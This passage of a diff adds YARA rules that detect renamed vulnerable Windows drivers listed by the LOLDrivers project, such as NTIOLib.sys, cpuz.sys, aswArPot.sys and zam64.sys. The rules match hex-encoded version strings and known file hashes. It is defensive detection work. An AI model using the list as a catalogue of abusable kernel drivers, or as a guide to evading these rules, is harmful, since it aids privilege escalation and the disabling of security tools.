+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e00310031002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e00310031 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c002000580054006900650072 } /* ProductName NovellXTier */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00490043004d002e005300590053 } /* OriginalFilename NICMSYS */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000310033002c0020004e006f00760065006c006c002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CCopyrightNovellIncAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /ncpl/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Bsmisys_5962 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - BSMIXP64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "59626cac380d8fe0b80a6d4c4406d62ba0683a2f0f68d50ad506ca1b1cf25347"
+		hash = "552f70374715e70c4ade591d65177be2539ec60f751223680dfaccb9e0be0ed9"
+		date = "2023-06-14"
+		score = 70
+		id = "8ebe6df1-b307-50ea-83c8-2984223da6dd"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0053004d00490020004400720069007600650072 } /* FileDescription SMIDriver */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0033 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0033 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00420053004d0049002e007300790073 } /* InternalName BSMIsys */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00420053004d0049002e007300790073 } /* OriginalFilename BSMIsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000420049004f005300540041005200200043006f00720070002e00200032003000310031 } /* LegalCopyright CopyrightCBIOSTARCorp */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /BSMIXP64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Msi_Ntiolibsys_Ntiolib_99F4 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "99f4994a0e5bd1bf6e3f637d3225c69ff4cd620557e23637533e7f18d7d6cba1"
+		hash = "56a3c9ac137d862a85b4004f043d46542a1b61c6acb438098a9640469e2d80e7"
+		hash = "c2a4ddcc9c3b339d752c48925d62fc4cc5adbf6fae8fedef74cdd47e88da01f8"
+		hash = "50d5eaa168c077ce5b7f15b3f2c43bd2b86b07b1e926c1b332f8cb13bd2e0793"
+		hash = "9c10e2ec4f9ef591415f9a784b93dc9c9cdafa7c69602c0dc860c5b62222e449"
+		hash = "6f1ff29e2e710f6d064dc74e8e011331d807c32cc2a622cbe507fd4b4d43f8f4"
+		hash = "cd4a249c3ef65af285d0f8f30a8a96e83688486aab515836318a2559757a89bb"
+		hash = "d8b58f6a89a7618558e37afc360cd772b6731e3ba367f8d58734ecee2244a530"
+		hash = "3f2fda9a7a9c57b7138687bbce49a2e156d6095dddabb3454ea09737e02c3fa5"
+		hash = "fd8669794c67b396c12fc5f08e9c004fdf851a82faf302846878173e4fbecb03"
+		hash = "9529efb1837b1005e5e8f477773752078e0a46500c748bc30c9b5084d04082e6"
+		hash = "f088b2ba27dacd5c28f8ee428f1350dca4bc7c6606309c287c801b2e1da1a53d"
+		hash = "131d5490ceb9a5b2324d8e927fea5becfc633015661de2f4c2f2375a3a3b64c6"
+		hash = "e3936d3356573ce2e472495cd3ce769f49a613e453b010433dafce5ea498ddc2"
+		hash = "89b0017bc30cc026e32b758c66a1af88bd54c6a78e11ec2908ff854e00ac46be"
+		hash = "18776682fcc0c6863147143759a8d4050a4115a8ede0136e49a7cf885c8a4805"
+		hash = "7893307df2fdde25371645a924f0333e1b2de31b6bc839d8e2a908d7830c6504"
+		hash = "79e2d37632c417138970b4feba91b7e10c2ea251c5efe3d1fc6fa0190f176b57"
+		hash = "952199c28332bc90cfd74530a77ee237967ed32b3c71322559c59f7a42187dc4"
+		hash = "101402d4f5d1ae413ded499c78a5fcbbc7e3bae9b000d64c1dd64e3c48c37558"
+		hash = "39cfde7d401efce4f550e0a9461f5fc4d71fa07235e1336e4f0b4882bd76550e"
+		hash = "85866e8c25d82c1ec91d7a8076c7d073cccf421cf57d9c83d80d63943a4edd94"
+		hash = "b7a20b5f15e1871b392782c46ebcc897929443d82073ee4dcb3874b6a5976b5d"
+		hash = "d92eab70bcece4432258c9c9a914483a2267f6ab5ce2630048d3a99e8cb1b482"
+		hash = "984a77e5424c6d099051441005f2938ae92b31b5ad8f6521c6b001932862add7"
+		hash = "e005e8d183e853a27ad3bb56f25489f369c11b0d47e3d4095aad9291b3343bf1"
+		hash = "a961f5939088238d76757669a9a81905e33f247c9c635b908daac146ae063499"
+		hash = "a9706e320179993dade519a83061477ace195daa1b788662825484813001f526"
+		hash = "47f0cdaa2359a63ad1389ef4a635f1f6eee1f63bdf6ef177f114bdcdadc2e005"
+		hash = "38fa0c663c8689048726666f1c5e019feaa9da8278f1df6ff62da33961891d2a"
+		hash = "ef86c4e5ee1dbc4f81cd864e8cd2f4a2a85ee4475b9a9ab698a4ae1cc71fbeb0"
+		date = "2023-06-14"
+		score = 70
+		id = "120b0300-f965-5c0e-a996-b98efee72d75"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c00690062 } /* FileDescription NTIOLib */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 } /* CompanyName MSI */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* InternalName NTIOLibsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 } /* ProductName NTIOLib */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* OriginalFilename NTIOLibsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300038002d00320030003000390020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCMSIAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /NTIOLib/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Cpuid_Cpuzsys_Cpuidservice_26E3 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "26e3bfef255efd052a84c3c43994c73222b14c95db9a4b1fc2e98f1a5cb26e43"
+		hash = "3e07bb866d329a2f9aaa4802bad04fdac9163de9bf9cfa1d035f5ca610b4b9bf"
+		hash = "c50f8ab8538c557963252b702c1bd3cee4604b5fc2497705d2a6a3fd87e3cc26"
+		date = "2023-06-14"
+		score = 70
+		id = "e25beaaf-9c1e-5d39-9938-2548ed97325e"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 } /* FileDescription CPUIDDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00430050005500490044 } /* CompanyName CPUID */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003100360033003800350020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 } /* InternalName cpuzsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043005000550049004400200073006500720076006900630065 } /* ProductName CPUIDservice */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 } /* OriginalFilename cpuzsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400280043002900200032003000310033002000430050005500490044 } /* LegalCopyright CopyrightCCPUID */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /cpuz/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Asustekcomputerinc_Bsdefsys_Supportsstsfssteeatftatcamfntamfnbvctvcbmftwc_5F5E {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - Bs_Def.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "5f5e5f1c93d961985624768b7c676d488c7c7c1d4c043f6fc1ea1904fefb75be"
+		hash = "3326e2d32bbabd69feb6024809afc56c7e39241ebe70a53728c77e80995422a5"
+		hash = "0040153302b88bee27eb4f1eca6855039e1a057370f5e8c615724fa5215bada3"
+		hash = "36b9e31240ab0341873c7092b63e2e0f2cab2962ebf9b25271c3a1216b7669eb"
+		date = "2023-06-14"
+		score = 70
+		id = "352c2210-c58d-57be-98f3-39ba15d97cf9"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00440065006600610075006c0074002000420049004f005300200046006c0061007300680020004400720069007600650072 } /* FileDescription DefaultBIOSFlashDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100730075007300540065006b00200043006f006d0070007500740065007200200049006e0063002e } /* CompanyName AsusTekComputerInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003200340020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00320034 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00420073005f00440065006600360034002e007300790073 } /* InternalName BsDefsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0053007500700070006f0072007400200053005300540033003900530046003000320030002c0053005300540032003900450045003000320030002c004100540034003900460030003000320054002c00410054003200390043003000320030002c0041004d003200390046003000300032004e0054002c0041004d003200390046003000300032004e0042002c0056003200390043003500310030003000320054002c0056003200390043003500310030003000320042002c004d0032003900460030003000320054002c0057003200390043003000320030002e } /* ProductName SupportSSTSFSSTEEATFTATCAMFNTAMFNBVCTVCBMFTWC */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00420073005f00440065006600360034002e007300790073 } /* OriginalFilename BsDefsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004100730075007300540065006b00200043006f006d00700075007400650072002e00200031003900390032002d0032003000300034 } /* LegalCopyright CopyrightCAsusTekComputer */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /Bs_Def/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Panyazilimbilisimteknolojileriticltdsti_Panioxsys_Paniolibrary_6B83 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - PanIOx64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "6b830ea0db6546a044c9900d3f335e7820c2a80e147b0751641899d1a5aa8f74"
+		date = "2023-06-14"
+		score = 70
+		id = "2b0714b8-ddd7-5313-83d3-53fcb7bb9c43"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00540065006d0070006500720061007400750072006500200061006e0064002000730079007300740065006d00200069006e0066006f0072006d006100740069006f006e0020006400720069007600650072 } /* FileDescription Temperatureandsysteminformationdriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00500061006e002000590061007a0069006c0069006d002000420069006c006900730069006d002000540065006b006e006f006c006f006a0069006c0065007200690020005400690063002e0020004c00740064002e0020005300740069002e } /* CompanyName PanYazilimBilisimTeknolojileriTicLtdSti */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00500061006e0049004f007800360034002e007300790073 } /* InternalName PanIOxsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500061006e0049004f0020004c006900620072006100720079 } /* ProductName PanIOLibrary */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00500061006e0049004f007800360034002e007300790073 } /* OriginalFilename PanIOxsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280063002900200032003000310032002d0032003000310034002000500061006e002000590061007a0069006c0069006d002000420069006c006900730069006d002000540065006b006e006f006c006f006a0069006c0065007200690020005400690063002e0020004c00740064002e0020005300740069002e } /* LegalCopyright CopyrightcPanYazilimBilisimTeknolojileriTicLtdSti */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /PanIOx64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Cpuid_Cpuzsys_Cpuidservice_2A6D {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "2a6db9facf9e13d35c37dd468be04bae5f70c6127a9aee76daebddbdec95d486"
+		hash = "1e16a01ef44e4c56e87abfbe03b2989b0391b172c3ec162783ad640be65ab961"
+		hash = "aebcbfca180e372a048b682a4859fd520c98b5b63f6e3a627c626cb35adc0399"
+		date = "2023-06-14"
+		score = 70
+		id = "3e356a91-0fce-57fe-a2f9-a9ceca2309ae"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 } /* FileDescription CPUIDDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00430050005500490044 } /* CompanyName CPUID */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003100360033003800350020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 } /* InternalName cpuzsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043005000550049004400200073006500720076006900630065 } /* ProductName CPUIDservice */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 } /* OriginalFilename cpuzsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400280043002900200032003000310032002000430050005500490044 } /* LegalCopyright CopyrightCCPUID */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /cpuz/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Elaboratebytesag_Elbycdio_Cdrtools_82FB {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ElbyCDIO.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "82fbcb371d53b8a76a25fbbafaae31147c0d1f6b9f26b3ea45262c2267386989"
+		date = "2023-06-14"
+		score = 70
+		id = "fbe0700a-ba46-53e7-b519-ad7a6ca42183"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f0032003000300030002f0058005000200049002f004f0020006400720069007600650072 } /* FileDescription ElbyCDWindowsNTXPIOdriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 } /* CompanyName ElaborateBytesAG */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200037 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f } /* InternalName ElbyCDIO */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 } /* ProductName CDRTools */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 } /* OriginalFilename ElbyCDIOsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003700200045006c00610062006f0072006100740065002000420079007400650073002000410047 } /* LegalCopyright CopyrightCElaborateBytesAG */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /ElbyCDIO/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Entechtaiwan_Seasys_Softenginex_6CB5 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - Se64a.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "6cb51ae871fbd5d07c5aad6ff8eea43d34063089528603ca9ceb8b4f52f68ddc"
+		date = "2023-06-14"
+		score = 70
+		id = "8f464004-8afe-58c8-9170-52a0496b6158"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006e005400650063006800200073006f006600740045006e00670069006e006500200078003600340020006b00650072006e0065006c002d006d006f006400650020006400720069007600650072 } /* FileDescription EnTechsoftEnginexkernelmodedriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006e0054006500630068002000540061006900770061006e } /* CompanyName EnTechTaiwan */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0031 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00730065003600340061002e007300790073 } /* InternalName seasys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0073006f006600740045006e00670069006e0065002d007800360034 } /* ProductName softEnginex */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00730065003600340061002e007300790073 } /* OriginalFilename seasys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280063002900200045006e0054006500630068002000540061006900770061006e002c00200032003000300034002d0032003000300036002e } /* LegalCopyright CopyrightcEnTechTaiwan */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /Se64a/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Avgtechnologiesczsro_Aswarpot_Avginternetsecuritysystem_0B54 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "0b542e47248611a1895018ec4f4033ea53464f259c74eb014d018b19ad818917"
+		date = "2023-06-14"
+		score = 70
+		id = "c612b1f8-cff0-532e-8a2f-aa24cdad8920"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200041006e0074006900200052006f006f0074006b00690074 } /* FileDescription AVGAntiRootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* CompanyName AVGTechnologiesCZsro */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0038002e003100330030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0038002e003100330030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 } /* InternalName aswArPot */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 } /* ProductName AVGInternetSecuritySystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320030002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* LegalCopyright CopyrightCAVGTechnologiesCZsro */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them and not filename matches /aswArPot/i and not filename matches /avgArPot/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_1273 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "1273b74c3c1553eaa92e844fbd51f716356cc19cf77c2c780d4899ec7738fbd1"
+		date = "2023-06-14"
+		score = 70
+		id = "ee7f79aa-59fb-54c6-bb4d-939f3b48f4c8"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription Avastantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 } /* CompanyName AVASTSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0035002e0033003900320036002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0035002e0033003900320036002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 } /* ProductName AvastAntivirus */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003800200041005600410053005400200053006f006600740077006100720065 } /* LegalCopyright CopyrightcAVASTSoftware */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /aswArPot/i and not filename matches /avgArPot/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_3854 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "385485e643aa611e97ceae6590c6a8c47155886123dbb9de1e704d0d1624d039"
+		hash = "b773511fdb2e370dec042530910a905472fcc2558eb108b246fd3200171b04d3"
+		date = "2023-06-14"
+		score = 70
+		id = "d4f27c90-7d23-5969-b635-64eeb859960c"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0037002e00330030002e0030002e0031003000360035 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0037002e00330030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100370020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and all of them and not filename matches /TmComm/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Zemanaltd_Zam_8FE9 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "8fe9828bea83adc8b1429394db7a556a17f79846ad0bfb7f242084a5c96edf2a"
+		date = "2023-06-14"
+		score = 70
+		id = "9e5a5fc6-24ac-5df2-999f-1d1063bd3f46"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d } /* FileDescription ZAM */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e } /* CompanyName ZemanaLtd */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00310037002e003100310035 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d } /* ProductName ZAM */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright ZemanaLtdAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /zam64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Windowsrcodenamelonghornddkprovider_Cpuzsys_Windowsrcodenamelonghornddkdriver_4932 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "49329fa09f584d1960b09c1b15df18c0bc1c4fdb90bf48b6b5703e872040b668"
+		hash = "2ef7df384e93951893b65500dac6ee09da6b8fe9128326caad41b8be4da49a1e"
+		hash = "dbb457ae1bd07a945a1466ce4a206c625e590aee3922fa7d86fbe956beccfc98"
+		hash = "8e5aef7c66c0e92dfc037ee29ade1c8484b8d7fadebdcf521d2763b1d8215126"
+		date = "2023-06-14"
+		score = 70
+		id = "82418e8e-31cb-5499-9263-f0edc2d2b1e7"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 } /* FileDescription CPUIDDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200043006f00640065006e0061006d00650020004c006f006e00670068006f0072006e002000440044004b002000700072006f00760069006400650072 } /* CompanyName WindowsRCodenameLonghornDDKprovider */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0030002e0036003000300030002e003100360033003800360020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0030002e0036003000300030002e00310036003300380036 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 } /* InternalName cpuzsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200043006f00640065006e0061006d00650020004c006f006e00670068006f0072006e002000440044004b0020006400720069007600650072 } /* ProductName WindowsRCodenameLonghornDDKdriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 } /* OriginalFilename cpuzsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright MicrosoftCorporationAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /cpuz/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Msi_Ntiolibsys_Ntiolib_3D9E {
+	meta:
